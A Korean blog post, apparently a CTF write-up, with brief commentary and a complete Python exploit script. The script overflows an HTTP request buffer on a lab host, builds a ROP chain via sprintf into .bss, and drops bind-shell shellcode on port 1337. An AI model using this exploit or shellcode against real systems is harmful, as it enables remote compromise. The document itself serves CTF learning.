후, RTL로 RTL을 만드는 문제라고 하던 후배의 말이 뭔지 알수 있는 문제였다.
여러 가지 기법이 조합되어서 풀 수 있었던 문제.
RTL을 위한 인자를 직접 하나하나 다 만들고 쉘코드를 받아오고 RTL 도중 FEBP까지...
풀고나니 홀가분하고 나름 재미있었던 문제였다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 | from hackutil import * from socket import * from time import * from telnetlib import * HOST = '192.168.136.152' PORT = 33227 #====================================== buf_len = 1020 sprintf_plt = 0x0804887C ppppr = 0x080499a5 bss = 0x0804ad44 freespace = 0x0804ab40 leave_ret = 0x08048b71 ret_arg = [ 0x8048acc, 0x80499c3, 0x80499c4, 0x8049990, 0x80499c4, 0x08049050, 0x08049050, 0x08049050, 0x8048acc, 0x80499c3, 0x80499c4, 0x8049990, 0x08049680, 0x08049050, 0x08049050, 0x08049050] shellcode = ("\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89" "\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39" "\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0" "\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56" "\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f" "\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68" "\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80") read_plt = 0x0804893C read_got = 0x0804AC98 # RET = \x40\xab\x04\x08 # fd = \x04\x00\x00\x00 # target = \x40\xab\x04\x08 # length = \x54\x00\x00\x00 #====================================== banner() print "===================[ Phase 1 : Attack with Shellcode ]==================" s = socket(AF_INET, SOCK_STREAM) s.connect((HOST, PORT)) payload = 'A'*buf_len+'AAAA' payload += p32(sprintf_plt) + p32(ppppr+2) + p32(bss-4) + p32(read_got) for i in range(len(ret_arg)): payload += p32(sprintf_plt) + p32(ppppr+2) + p32(bss+i) + p32(ret_arg[i]) payload += p32(ppppr+3) + p32(bss-8) + p32(leave_ret) print "[*] Payload Length : "+str(len(payload)) print "[*] Send payload" s.send('GET http://'+payload+' HTTP/1.1') sleep(1) print "[*] Send \\r\\n" s.send('\r\n') sleep(1) print "[*] Send Shellcode" s.send(shellcode) sleep(1) print "======================[ Phase 1 : Got the Shell ]======================" s2 = socket(AF_INET, SOCK_STREAM) s2.connect((HOST, 1337)) t = Telnet() t.sock = s2 t.interact() | cs |
'CTF > 지난 대회' 카테고리의 다른 글
Layer7 CTF 2015 - Spil..Spli....SPPPPPIILL (0) | 2015.11.03 |
---|---|
Codegate 2013 Prequal - vuln 100 (0) | 2015.10.30 |
Codegate 2014 - AngryDoraemon (0) | 2015.10.25 |
Plaid CTF 2013 - ropasaurusrex (0) | 2015.10.22 |
Codegate Junior 2014 Prequal - nuclear (0) | 2015.10.22 |